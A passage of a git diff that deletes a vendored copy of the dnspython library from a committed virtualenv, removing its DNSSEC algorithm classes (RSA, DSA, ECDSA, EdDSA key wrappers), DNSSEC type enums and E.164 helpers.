rrset_signer - ) - - -def _need_pyca(*args, **kwargs): - raise ImportError( - "DNSSEC validation requires python cryptography" - ) # pragma: no cover - - -if dns._features.have("dnssec"): - from cryptography.exceptions import InvalidSignature - from cryptography.hazmat.primitives.asymmetric import ec # pylint: disable=W0611 - from cryptography.hazmat.primitives.asymmetric import ed448 # pylint: disable=W0611 - from cryptography.hazmat.primitives.asymmetric import rsa # pylint: disable=W0611 - from cryptography.hazmat.primitives.asymmetric import ( # pylint: disable=W0611 - ed25519, - ) - - from dns.dnssecalgs import ( # pylint: disable=C0412 - get_algorithm_cls, - get_algorithm_cls_from_dnskey, - ) - from dns.dnssecalgs.base import GenericPrivateKey, GenericPublicKey - - validate = _validate # type: ignore - validate_rrsig = _validate_rrsig # type: ignore - sign = _sign - make_dnskey = _make_dnskey - make_cdnskey = _make_cdnskey - _have_pyca = True -else: # pragma: no cover - validate = _need_pyca - validate_rrsig = _need_pyca - sign = _need_pyca - make_dnskey = _need_pyca - make_cdnskey = _need_pyca - _have_pyca = False - -### BEGIN generated Algorithm constants - -RSAMD5 = Algorithm.RSAMD5 -DH = Algorithm.DH -DSA = Algorithm.DSA -ECC = Algorithm.ECC -RSASHA1 = Algorithm.RSASHA1 -DSANSEC3SHA1 = Algorithm.DSANSEC3SHA1 -RSASHA1NSEC3SHA1 = Algorithm.RSASHA1NSEC3SHA1 -RSASHA256 = Algorithm.RSASHA256 -RSASHA512 = Algorithm.RSASHA512 -ECCGOST = Algorithm.ECCGOST -ECDSAP256SHA256 = Algorithm.ECDSAP256SHA256 -ECDSAP384SHA384 = Algorithm.ECDSAP384SHA384 -ED25519 = Algorithm.ED25519 -ED448 = Algorithm.ED448 -INDIRECT = Algorithm.INDIRECT -PRIVATEDNS = Algorithm.PRIVATEDNS -PRIVATEOID = Algorithm.PRIVATEOID - -### END generated Algorithm constants diff --git a/venv/Lib/site-packages/dns/dnssecalgs/__init__.py b/venv/Lib/site-packages/dns/dnssecalgs/__init__.py deleted file mode 100644 index 0810b19a64e7dd50a7352975b6e9eec85005cf57..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssecalgs/__init__.py +++ /dev/null @@ -1,124 +0,0 @@ -from typing import Dict, Tuple, Type - -import dns._features -import dns.name -from dns.dnssecalgs.base import GenericPrivateKey -from dns.dnssectypes import Algorithm -from dns.exception import UnsupportedAlgorithm -from dns.rdtypes.ANY.DNSKEY import DNSKEY - -# pyright: reportPossiblyUnboundVariable=false - -if dns._features.have("dnssec"): - from dns.dnssecalgs.dsa import PrivateDSA, PrivateDSANSEC3SHA1 - from dns.dnssecalgs.ecdsa import PrivateECDSAP256SHA256, PrivateECDSAP384SHA384 - from dns.dnssecalgs.eddsa import PrivateED448, PrivateED25519 - from dns.dnssecalgs.rsa import ( - PrivateRSAMD5, - PrivateRSASHA1, - PrivateRSASHA1NSEC3SHA1, - PrivateRSASHA256, - PrivateRSASHA512, - ) - - _have_cryptography = True -else: - _have_cryptography = False - -AlgorithmPrefix = bytes | dns.name.Name | None - -algorithms: Dict[Tuple[Algorithm, AlgorithmPrefix], Type[GenericPrivateKey]] = {} -if _have_cryptography: - # pylint: disable=possibly-used-before-assignment - algorithms.update( - { - (Algorithm.RSAMD5, None): PrivateRSAMD5, - (Algorithm.DSA, None): PrivateDSA, - (Algorithm.RSASHA1, None): PrivateRSASHA1, - (Algorithm.DSANSEC3SHA1, None): PrivateDSANSEC3SHA1, - (Algorithm.RSASHA1NSEC3SHA1, None): PrivateRSASHA1NSEC3SHA1, - (Algorithm.RSASHA256, None): PrivateRSASHA256, - (Algorithm.RSASHA512, None): PrivateRSASHA512, - (Algorithm.ECDSAP256SHA256, None): PrivateECDSAP256SHA256, - (Algorithm.ECDSAP384SHA384, None): PrivateECDSAP384SHA384, - (Algorithm.ED25519, None): PrivateED25519, - (Algorithm.ED448, None): PrivateED448, - } - ) - - -def get_algorithm_cls( - algorithm: int | str, prefix: AlgorithmPrefix = None -) -> Type[GenericPrivateKey]: - """Get Private Key class from Algorithm. - - *algorithm*, a ``str`` or ``int`` specifying the DNSKEY algorithm. - - Raises ``UnsupportedAlgorithm`` if the algorithm is unknown. - - Returns a ``dns.dnssecalgs.GenericPrivateKey`` - """ - algorithm = Algorithm.make(algorithm) - cls = algorithms.get((algorithm, prefix)) - if cls: - return cls - raise UnsupportedAlgorithm( - f'algorithm "{Algorithm.to_text(algorithm)}" not supported by dnspython' - ) - - -def get_algorithm_cls_from_dnskey(dnskey: DNSKEY) -> Type[GenericPrivateKey]: - """Get Private Key class from DNSKEY. - - *dnskey*, a ``DNSKEY`` to get Algorithm class for. - - Raises ``UnsupportedAlgorithm`` if the algorithm is unknown. - - Returns a ``dns.dnssecalgs.GenericPrivateKey`` - """ - prefix: AlgorithmPrefix = None - if dnskey.algorithm == Algorithm.PRIVATEDNS: - prefix, _ = dns.name.from_wire(dnskey.key, 0) - elif dnskey.algorithm == Algorithm.PRIVATEOID: - length = int(dnskey.key[0]) - prefix = dnskey.key[0 : length + 1] - return get_algorithm_cls(dnskey.algorithm, prefix) - - -def register_algorithm_cls( - algorithm: int | str, - algorithm_cls: Type[GenericPrivateKey], - name: dns.name.Name | str | None = None, - oid: bytes | None = None, -) -> None: - """Register Algorithm Private Key class. - - *algorithm*, a ``str`` or ``int`` specifying the DNSKEY algorithm. - - *algorithm_cls*: A `GenericPrivateKey` class. - - *name*, an optional ``dns.name.Name`` or ``str``, for for PRIVATEDNS algorithms. - - *oid*: an optional BER-encoded `bytes` for PRIVATEOID algorithms. - - Raises ``ValueError`` if a name or oid is specified incorrectly. - """ - if not issubclass(algorithm_cls, GenericPrivateKey): - raise TypeError("Invalid algorithm class") - algorithm = Algorithm.make(algorithm) - prefix: AlgorithmPrefix = None - if algorithm == Algorithm.PRIVATEDNS: - if name is None: - raise ValueError("Name required for PRIVATEDNS algorithms") - if isinstance(name, str): - name = dns.name.from_text(name) - prefix = name - elif algorithm == Algorithm.PRIVATEOID: - if oid is None: - raise ValueError("OID required for PRIVATEOID algorithms") - prefix = bytes([len(oid)]) + oid - elif name: - raise ValueError("Name only supported for PRIVATEDNS algorithm") - elif oid: - raise ValueError("OID only supported for PRIVATEOID algorithm") - algorithms[(algorithm, prefix)] = algorithm_cls diff --git a/venv/Lib/site-packages/dns/dnssecalgs/base.py b/venv/Lib/site-packages/dns/dnssecalgs/base.py deleted file mode 100644 index 0334fe6b5772c53a6756d8cd19f6224cdc830a69..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssecalgs/base.py +++ /dev/null @@ -1,89 +0,0 @@ -from abc import ABC, abstractmethod # pylint: disable=no-name-in-module -from typing import Any, Type - -import dns.rdataclass -import dns.rdatatype -from dns.dnssectypes import Algorithm -from dns.exception import AlgorithmKeyMismatch -from dns.rdtypes.ANY.DNSKEY import DNSKEY -from dns.rdtypes.dnskeybase import Flag - - -class GenericPublicKey(ABC): - algorithm: Algorithm - - @abstractmethod - def __init__(self, key: Any) -> None: - pass - - @abstractmethod - def verify(self, signature: bytes, data: bytes) -> None: - """Verify signed DNSSEC data""" - - @abstractmethod - def encode_key_bytes(self) -> bytes: - """Encode key as bytes for DNSKEY""" - - @classmethod - def _ensure_algorithm_key_combination(cls, key: DNSKEY) -> None: - if key.algorithm != cls.algorithm: - raise AlgorithmKeyMismatch - - def to_dnskey(self, flags: int = Flag.ZONE, protocol: int = 3) -> DNSKEY: - """Return public key as DNSKEY""" - return DNSKEY( - rdclass=dns.rdataclass.IN, - rdtype=dns.rdatatype.DNSKEY, - flags=flags, - protocol=protocol, - algorithm=self.algorithm, - key=self.encode_key_bytes(), - ) - - @classmethod - @abstractmethod - def from_dnskey(cls, key: DNSKEY) -> "GenericPublicKey": - """Create public key from DNSKEY""" - - @classmethod - @abstractmethod - def from_pem(cls, public_pem: bytes) -> "GenericPublicKey": - """Create public key from PEM-encoded SubjectPublicKeyInfo as specified - in RFC 5280""" - - @abstractmethod - def to_pem(self) -> bytes: - """Return public-key as PEM-encoded SubjectPublicKeyInfo as specified - in RFC 5280""" - - -class GenericPrivateKey(ABC): - public_cls: Type[GenericPublicKey] - - @abstractmethod - def __init__(self, key: Any) -> None: - pass - - @abstractmethod - def sign( - self, - data: bytes, - verify: bool = False, - deterministic: bool = True, - ) -> bytes: - """Sign DNSSEC data""" - - @abstractmethod - def public_key(self) -> "GenericPublicKey": - """Return public key instance""" - - @classmethod - @abstractmethod - def from_pem( - cls, private_pem: bytes, password: bytes | None = None - ) -> "GenericPrivateKey": - """Create private key from PEM-encoded PKCS#8""" - - @abstractmethod - def to_pem(self, password: bytes | None = None) -> bytes: - """Return private key as PEM-encoded PKCS#8""" diff --git a/venv/Lib/site-packages/dns/dnssecalgs/cryptography.py b/venv/Lib/site-packages/dns/dnssecalgs/cryptography.py deleted file mode 100644 index a5dde6a4afad6c92b16beae1af5f37583fc54726..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssecalgs/cryptography.py +++ /dev/null @@ -1,68 +0,0 @@ -from typing import Any, Type - -from cryptography.hazmat.primitives import serialization - -from dns.dnssecalgs.base import GenericPrivateKey, GenericPublicKey -from dns.exception import AlgorithmKeyMismatch - - -class CryptographyPublicKey(GenericPublicKey): - key: Any = None - key_cls: Any = None - - def __init__(self, key: Any) -> None: # pylint: disable=super-init-not-called - if self.key_cls is None: - raise TypeError("Undefined private key class") - if not isinstance( # pylint: disable=isinstance-second-argument-not-valid-type - key, self.key_cls - ): - raise AlgorithmKeyMismatch - self.key = key - - @classmethod - def from_pem(cls, public_pem: bytes) -> "GenericPublicKey": - key = serialization.load_pem_public_key(public_pem) - return cls(key=key) - - def to_pem(self) -> bytes: - return self.key.public_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PublicFormat.SubjectPublicKeyInfo, - ) - - -class CryptographyPrivateKey(GenericPrivateKey): - key: Any = None - key_cls: Any = None - public_cls: Type[CryptographyPublicKey] # pyright: ignore - - def __init__(self, key: Any) -> None: # pylint: disable=super-init-not-called - if self.key_cls is None: - raise TypeError("Undefined private key class") - if not isinstance( # pylint: disable=isinstance-second-argument-not-valid-type - key, self.key_cls - ): - raise AlgorithmKeyMismatch - self.key = key - - def public_key(self) -> "CryptographyPublicKey": - return self.public_cls(key=self.key.public_key()) - - @classmethod - def from_pem( - cls, private_pem: bytes, password: bytes | None = None - ) -> "GenericPrivateKey": - key = serialization.load_pem_private_key(private_pem, password=password) - return cls(key=key) - - def to_pem(self, password: bytes | None = None) -> bytes: - encryption_algorithm: serialization.KeySerializationEncryption - if password: - encryption_algorithm = serialization.BestAvailableEncryption(password) - else: - encryption_algorithm = serialization.NoEncryption() - return self.key.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.PKCS8, - encryption_algorithm=encryption_algorithm, - ) diff --git a/venv/Lib/site-packages/dns/dnssecalgs/dsa.py b/venv/Lib/site-packages/dns/dnssecalgs/dsa.py deleted file mode 100644 index a4eb987909c4b88d23c5f9ed239724365652d1df..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssecalgs/dsa.py +++ /dev/null @@ -1,108 +0,0 @@ -import struct - -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives.asymmetric import dsa, utils - -from dns.dnssecalgs.cryptography import CryptographyPrivateKey, CryptographyPublicKey -from dns.dnssectypes import Algorithm -from dns.rdtypes.ANY.DNSKEY import DNSKEY - - -class PublicDSA(CryptographyPublicKey): - key: dsa.DSAPublicKey - key_cls = dsa.DSAPublicKey - algorithm = Algorithm.DSA - chosen_hash = hashes.SHA1() - - def verify(self, signature: bytes, data: bytes) -> None: - sig_r = signature[1:21] - sig_s = signature[21:] - sig = utils.encode_dss_signature( - int.from_bytes(sig_r, "big"), int.from_bytes(sig_s, "big") - ) - self.key.verify(sig, data, self.chosen_hash) - - def encode_key_bytes(self) -> bytes: - """Encode a public key per RFC 2536, section 2.""" - pn = self.key.public_numbers() - dsa_t = (self.key.key_size // 8 - 64) // 8 - if dsa_t > 8: - raise ValueError("unsupported DSA key size") - octets = 64 + dsa_t * 8 - res = struct.pack("!B", dsa_t) - res += pn.parameter_numbers.q.to_bytes(20, "big") - res += pn.parameter_numbers.p.to_bytes(octets, "big") - res += pn.parameter_numbers.g.to_bytes(octets, "big") - res += pn.y.to_bytes(octets, "big") - return res - - @classmethod - def from_dnskey(cls, key: DNSKEY) -> "PublicDSA": - cls._ensure_algorithm_key_combination(key) - keyptr = key.key - (t,) = struct.unpack("!B", keyptr[0:1]) - keyptr = keyptr[1:] - octets = 64 + t * 8 - dsa_q = keyptr[0:20] - keyptr = keyptr[20:] - dsa_p = keyptr[0:octets] - keyptr = keyptr[octets:] - dsa_g = keyptr[0:octets] - keyptr = keyptr[octets:] - dsa_y = keyptr[0:octets] - return cls( - key=dsa.DSAPublicNumbers( # type: ignore - int.from_bytes(dsa_y, "big"), - dsa.DSAParameterNumbers( - int.from_bytes(dsa_p, "big"), - int.from_bytes(dsa_q, "big"), - int.from_bytes(dsa_g, "big"), - ), - ).public_key(default_backend()), - ) - - -class PrivateDSA(CryptographyPrivateKey): - key: dsa.DSAPrivateKey - key_cls = dsa.DSAPrivateKey - public_cls = PublicDSA - - def sign( - self, - data: bytes, - verify: bool = False, - deterministic: bool = True, - ) -> bytes: - """Sign using a private key per RFC 2536, section 3.""" - public_dsa_key = self.key.public_key() - if public_dsa_key.key_size > 1024: - raise ValueError("DSA key size overflow") - der_signature = self.key.sign( - data, self.public_cls.chosen_hash # pyright: ignore - ) - dsa_r, dsa_s = utils.decode_dss_signature(der_signature) - dsa_t = (public_dsa_key.key_size // 8 - 64) // 8 - octets = 20 - signature = ( - struct.pack("!B", dsa_t) - + int.to_bytes(dsa_r, length=octets, byteorder="big") - + int.to_bytes(dsa_s, length=octets, byteorder="big") - ) - if verify: - self.public_key().verify(signature, data) - return signature - - @classmethod - def generate(cls, key_size: int) -> "PrivateDSA": - return cls( - key=dsa.generate_private_key(key_size=key_size), - ) - - -class PublicDSANSEC3SHA1(PublicDSA): - algorithm = Algorithm.DSANSEC3SHA1 - - -class PrivateDSANSEC3SHA1(PrivateDSA): - public_cls = PublicDSANSEC3SHA1 diff --git a/venv/Lib/site-packages/dns/dnssecalgs/ecdsa.py b/venv/Lib/site-packages/dns/dnssecalgs/ecdsa.py deleted file mode 100644 index e3f3f061d4e81c95d05f5d82b98bb6ac4d6dd6d6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssecalgs/ecdsa.py +++ /dev/null @@ -1,100 +0,0 @@ -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives.asymmetric import ec, utils - -from dns.dnssecalgs.cryptography import CryptographyPrivateKey, CryptographyPublicKey -from dns.dnssectypes import Algorithm -from dns.rdtypes.ANY.DNSKEY import DNSKEY - - -class PublicECDSA(CryptographyPublicKey): - key: ec.EllipticCurvePublicKey - key_cls = ec.EllipticCurvePublicKey - algorithm: Algorithm - chosen_hash: hashes.HashAlgorithm - curve: ec.EllipticCurve - octets: int - - def verify(self, signature: bytes, data: bytes) -> None: - sig_r = signature[0 : self.octets] - sig_s = signature[self.octets :] - sig = utils.encode_dss_signature( - int.from_bytes(sig_r, "big"), int.from_bytes(sig_s, "big") - ) - self.key.verify(sig, data, ec.ECDSA(self.chosen_hash)) - - def encode_key_bytes(self) -> bytes: - """Encode a public key per RFC 6605, section 4.""" - pn = self.key.public_numbers() - return pn.x.to_bytes(self.octets, "big") + pn.y.to_bytes(self.octets, "big") - - @classmethod - def from_dnskey(cls, key: DNSKEY) -> "PublicECDSA": - cls._ensure_algorithm_key_combination(key) - ecdsa_x = key.key[0 : cls.octets] - ecdsa_y = key.key[cls.octets : cls.octets * 2] - return cls( - key=ec.EllipticCurvePublicNumbers( - curve=cls.curve, - x=int.from_bytes(ecdsa_x, "big"), - y=int.from_bytes(ecdsa_y, "big"), - ).public_key(default_backend()), - ) - - -class PrivateECDSA(CryptographyPrivateKey): - key: ec.EllipticCurvePrivateKey - key_cls = ec.EllipticCurvePrivateKey - public_cls = PublicECDSA - - def sign( - self, - data: bytes, - verify: bool = False, - deterministic: bool = True, - ) -> bytes: - """Sign using a private key per RFC 6605, section 4.""" - algorithm = ec.ECDSA( - self.public_cls.chosen_hash, # pyright: ignore - deterministic_signing=deterministic, - ) - der_signature = self.key.sign(data, algorithm) - dsa_r, dsa_s = utils.decode_dss_signature(der_signature) - signature = int.to_bytes( - dsa_r, length=self.public_cls.octets, byteorder="big" # pyright: ignore - ) + int.to_bytes( - dsa_s, length=self.public_cls.octets, byteorder="big" # pyright: ignore - ) - if verify: - self.public_key().verify(signature, data) - return signature - - @classmethod - def generate(cls) -> "PrivateECDSA": - return cls( - key=ec.generate_private_key( - curve=cls.public_cls.curve, backend=default_backend() # pyright: ignore - ), - ) - - -class PublicECDSAP256SHA256(PublicECDSA): - algorithm = Algorithm.ECDSAP256SHA256 - chosen_hash = hashes.SHA256() - curve = ec.SECP256R1() - octets = 32 - - -class PrivateECDSAP256SHA256(PrivateECDSA): - public_cls = PublicECDSAP256SHA256 - - -class PublicECDSAP384SHA384(PublicECDSA): - algorithm = Algorithm.ECDSAP384SHA384 - chosen_hash = hashes.SHA384() - curve = ec.SECP384R1() - octets = 48 - - -class PrivateECDSAP384SHA384(PrivateECDSA): - public_cls = PublicECDSAP384SHA384 diff --git a/venv/Lib/site-packages/dns/dnssecalgs/eddsa.py b/venv/Lib/site-packages/dns/dnssecalgs/eddsa.py deleted file mode 100644 index 1cbb407960a4b9afa1e18a109cba9b4cfd13a1fa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssecalgs/eddsa.py +++ /dev/null @@ -1,70 +0,0 @@ -from typing import Type - -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives.asymmetric import ed448, ed25519 - -from dns.dnssecalgs.cryptography import CryptographyPrivateKey, CryptographyPublicKey -from dns.dnssectypes import Algorithm -from dns.rdtypes.ANY.DNSKEY import DNSKEY - - -class PublicEDDSA(CryptographyPublicKey): - def verify(self, signature: bytes, data: bytes) -> None: - self.key.verify(signature, data) - - def encode_key_bytes(self) -> bytes: - """Encode a public key per RFC 8080, section 3.""" - return self.key.public_bytes( - encoding=serialization.Encoding.Raw, format=serialization.PublicFormat.Raw - ) - - @classmethod - def from_dnskey(cls, key: DNSKEY) -> "PublicEDDSA": - cls._ensure_algorithm_key_combination(key) - return cls( - key=cls.key_cls.from_public_bytes(key.key), - ) - - -class PrivateEDDSA(CryptographyPrivateKey): - public_cls: Type[PublicEDDSA] # pyright: ignore - - def sign( - self, - data: bytes, - verify: bool = False, - deterministic: bool = True, - ) -> bytes: - """Sign using a private key per RFC 8080, section 4.""" - signature = self.key.sign(data) - if verify: - self.public_key().verify(signature, data) - return signature - - @classmethod - def generate(cls) -> "PrivateEDDSA": - return cls(key=cls.key_cls.generate()) - - -class PublicED25519(PublicEDDSA): - key: ed25519.Ed25519PublicKey - key_cls = ed25519.Ed25519PublicKey - algorithm = Algorithm.ED25519 - - -class PrivateED25519(PrivateEDDSA): - key: ed25519.Ed25519PrivateKey - key_cls = ed25519.Ed25519PrivateKey - public_cls = PublicED25519 - - -class PublicED448(PublicEDDSA): - key: ed448.Ed448PublicKey - key_cls = ed448.Ed448PublicKey - algorithm = Algorithm.ED448 - - -class PrivateED448(PrivateEDDSA): - key: ed448.Ed448PrivateKey - key_cls = ed448.Ed448PrivateKey - public_cls = PublicED448 diff --git a/venv/Lib/site-packages/dns/dnssecalgs/rsa.py b/venv/Lib/site-packages/dns/dnssecalgs/rsa.py deleted file mode 100644 index de9160bb3a90e616bf015ba2c578b42a7508c744..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssecalgs/rsa.py +++ /dev/null @@ -1,126 +0,0 @@ -import math -import struct - -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives.asymmetric import padding, rsa - -from dns.dnssecalgs.cryptography import CryptographyPrivateKey, CryptographyPublicKey -from dns.dnssectypes import Algorithm -from dns.rdtypes.ANY.DNSKEY import DNSKEY - - -class PublicRSA(CryptographyPublicKey): - key: rsa.RSAPublicKey - key_cls = rsa.RSAPublicKey - algorithm: Algorithm - chosen_hash: hashes.HashAlgorithm - - def verify(self, signature: bytes, data: bytes) -> None: - self.key.verify(signature, data, padding.PKCS1v15(), self.chosen_hash) - - def encode_key_bytes(self) -> bytes: - """Encode a public key per RFC 3110, section 2.""" - pn = self.key.public_numbers() - _exp_len = math.ceil(int.bit_length(pn.e) / 8) - exp = int.to_bytes(pn.e, length=_exp_len, byteorder="big") - if _exp_len > 255: - exp_header = b"\0" + struct.pack("!H", _exp_len) - else: - exp_header = struct.pack("!B", _exp_len) - if pn.n.bit_length() < 512 or pn.n.bit_length() > 4096: - raise ValueError("unsupported RSA key length") - return exp_header + exp + pn.n.to_bytes((pn.n.bit_length() + 7) // 8, "big") - - @classmethod - def from_dnskey(cls, key: DNSKEY) -> "PublicRSA": - cls._ensure_algorithm_key_combination(key) - keyptr = key.key - (bytes_,) = struct.unpack("!B", keyptr[0:1]) - keyptr = keyptr[1:] - if bytes_ == 0: - (bytes_,) = struct.unpack("!H", keyptr[0:2]) - keyptr = keyptr[2:] - rsa_e = keyptr[0:bytes_] - rsa_n = keyptr[bytes_:] - return cls( - key=rsa.RSAPublicNumbers( - int.from_bytes(rsa_e, "big"), int.from_bytes(rsa_n, "big") - ).public_key(default_backend()) - ) - - -class PrivateRSA(CryptographyPrivateKey): - key: rsa.RSAPrivateKey - key_cls = rsa.RSAPrivateKey - public_cls = PublicRSA - default_public_exponent = 65537 - - def sign( - self, - data: bytes, - verify: bool = False, - deterministic: bool = True, - ) -> bytes: - """Sign using a private key per RFC 3110, section 3.""" - signature = self.key.sign( - data, padding.PKCS1v15(), self.public_cls.chosen_hash # pyright: ignore - ) - if verify: - self.public_key().verify(signature, data) - return signature - - @classmethod - def generate(cls, key_size: int) -> "PrivateRSA": - return cls( - key=rsa.generate_private_key( - public_exponent=cls.default_public_exponent, - key_size=key_size, - backend=default_backend(), - ) - ) - - -class PublicRSAMD5(PublicRSA): - algorithm = Algorithm.RSAMD5 - chosen_hash = hashes.MD5() - - -class PrivateRSAMD5(PrivateRSA): - public_cls = PublicRSAMD5 - - -class PublicRSASHA1(PublicRSA): - algorithm = Algorithm.RSASHA1 - chosen_hash = hashes.SHA1() - - -class PrivateRSASHA1(PrivateRSA): - public_cls = PublicRSASHA1 - - -class PublicRSASHA1NSEC3SHA1(PublicRSA): - algorithm = Algorithm.RSASHA1NSEC3SHA1 - chosen_hash = hashes.SHA1() - - -class PrivateRSASHA1NSEC3SHA1(PrivateRSA): - public_cls = PublicRSASHA1NSEC3SHA1 - - -class PublicRSASHA256(PublicRSA): - algorithm = Algorithm.RSASHA256 - chosen_hash = hashes.SHA256() - - -class PrivateRSASHA256(PrivateRSA): - public_cls = PublicRSASHA256 - - -class PublicRSASHA512(PublicRSA): - algorithm = Algorithm.RSASHA512 - chosen_hash = hashes.SHA512() - - -class PrivateRSASHA512(PrivateRSA): - public_cls = PublicRSASHA512 diff --git a/venv/Lib/site-packages/dns/dnssectypes.py b/venv/Lib/site-packages/dns/dnssectypes.py deleted file mode 100644 index 02131e0adaeb85eb49351f4953c854023315fab9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssectypes.py +++ /dev/null @@ -1,71 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Common DNSSEC-related types.""" - -# This is a separate file to avoid import circularity between dns.dnssec and -# the implementations of the DS and DNSKEY types. - -import dns.enum - - -class Algorithm(dns.enum.IntEnum): - RSAMD5 = 1 - DH = 2 - DSA = 3 - ECC = 4 - RSASHA1 = 5 - DSANSEC3SHA1 = 6 - RSASHA1NSEC3SHA1 = 7 - RSASHA256 = 8 - RSASHA512 = 10 - ECCGOST = 12 - ECDSAP256SHA256 = 13 - ECDSAP384SHA384 = 14 - ED25519 = 15 - ED448 = 16 - INDIRECT = 252 - PRIVATEDNS = 253 - PRIVATEOID = 254 - - @classmethod - def _maximum(cls): - return 255 - - -class DSDigest(dns.enum.IntEnum): - """DNSSEC Delegation Signer Digest Algorithm""" - - NULL = 0 - SHA1 = 1 - SHA256 = 2 - GOST = 3 - SHA384 = 4 - - @classmethod - def _maximum(cls): - return 255 - - -class NSEC3Hash(dns.enum.IntEnum): - """NSEC3 hash algorithm""" - - SHA1 = 1 - - @classmethod - def _maximum(cls): - return 255 diff --git a/venv/Lib/site-packages/dns/e164.py b/venv/Lib/site-packages/dns/e164.py deleted file mode 100644 index 942d2c0fbffe025080c1581177dcb4e5deff7d5a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/e164.py +++ /dev/null @@ -1,116 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS E.164 helpers.""" - -from typing import Iterable - -import dns.exception -import dns.name -import dns.resolver - -#: The public E.164 domain. -public_enum_domain = dns.name.from_text("e164.arpa.") - - -def from_e164( - text: str, origin: dns.name.Name | None = public_enum_domain -) -> dns.name.Name: - """Convert an E.164 number in textual form into a Name object whose - value is the ENUM domain name for that number. - - Non-digits in the text are ignored, i.e. "16505551212", - "+1.650.555.1212" and "1 (650) 555-1212" are all the same. - - *text*, a ``str``, is an E.164 number in textual form. - - *origin*, a ``dns.name.Name``, the domain in which the number - should be constructed. The default is ``e164.arpa.``. - - Returns a ``dns.name.Name``. - """ - - parts = [d for d in text if d.isdigit()] - parts.reverse() - return dns.name.from_text(".".join(parts), origin=origin) - - -def to_e164( - name: dns.name.Name, - origin: dns.name.Name | None = public_enum_domain, - want_plus_prefix: bool = True, -) -> str: - """Convert an ENUM domain name into an E.164 number. - - Note that dnspython does not have any information about preferred - number formats within national numbering plans, so all numbers are - emitted as a simple string of digits, prefixed by a '+' (unless - *want_plus_prefix* is ``False``). - - *name* is a ``dns.name.Name``, the ENUM domain name. - - *origin* is a ``dns.name.Name``, a domain containing the ENUM - domain name. The name is relativized to this domain before being - converted to text. If ``None``, no relativization is done. - - *want_plus_prefix* is a ``bool``. If True, add a '+' to the beginning of - the returned number. - - Returns a ``str``. - - """ - if origin is not None: - name = name.relativize(origin) - dlabels = [d for d in name.labels if d.isdigit() and len(d) == 1] - if len(dlabels) != len(name.labels): - raise dns.exception.SyntaxError("non-digit labels in ENUM domain name") - dlabels.reverse() - text = b"".join(dlabels) - if want_plus_prefix: - text = b"+" + text - return text.decode() - - -def query( - number: str, - domains: Iterable[dns.name.Name | str], - resolver: dns.resolver.Resolver | None = None, -) -> dns.resolver.Answer: - """Look for NAPTR RRs for the specified number in the specified domains. - - e.g. lookup('16505551212', ['e164.dnspython.org.', 'e164.arpa.']) - - *number*, a ``str`` is the number to look for. - - *domains* is an iterable containing ``dns.name.Name`` values. - - *resolver*, a ``dns.resolver.Resolver``, is the resolver to use. If - ``None``, the default resolver is used. - """ - - if resolver is None: - resolver = dns.resolver.get_default_resolver() - e_nx = dns.resolver.NXDOMAIN() - for domain in domains: - if isinstance(domain, str): - domain = dns.name.from_text(domain) - qname = from_e164(number, domain) - try: - return resolver.resolve(qname, "NAPTR") - except dns.resolver.NXDOMAIN as e: - e_nx += e - raise e_nx diff --git a/venv/Lib/site-packages/dns/edns.py b/venv/Lib/site-packages/dns/edns.py deleted file mode 100644 index eb985484b9b38123b84b2e4e36077ad2dbf6b810..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/edns.py +++ /dev/null @@ -1,591 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2009-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE 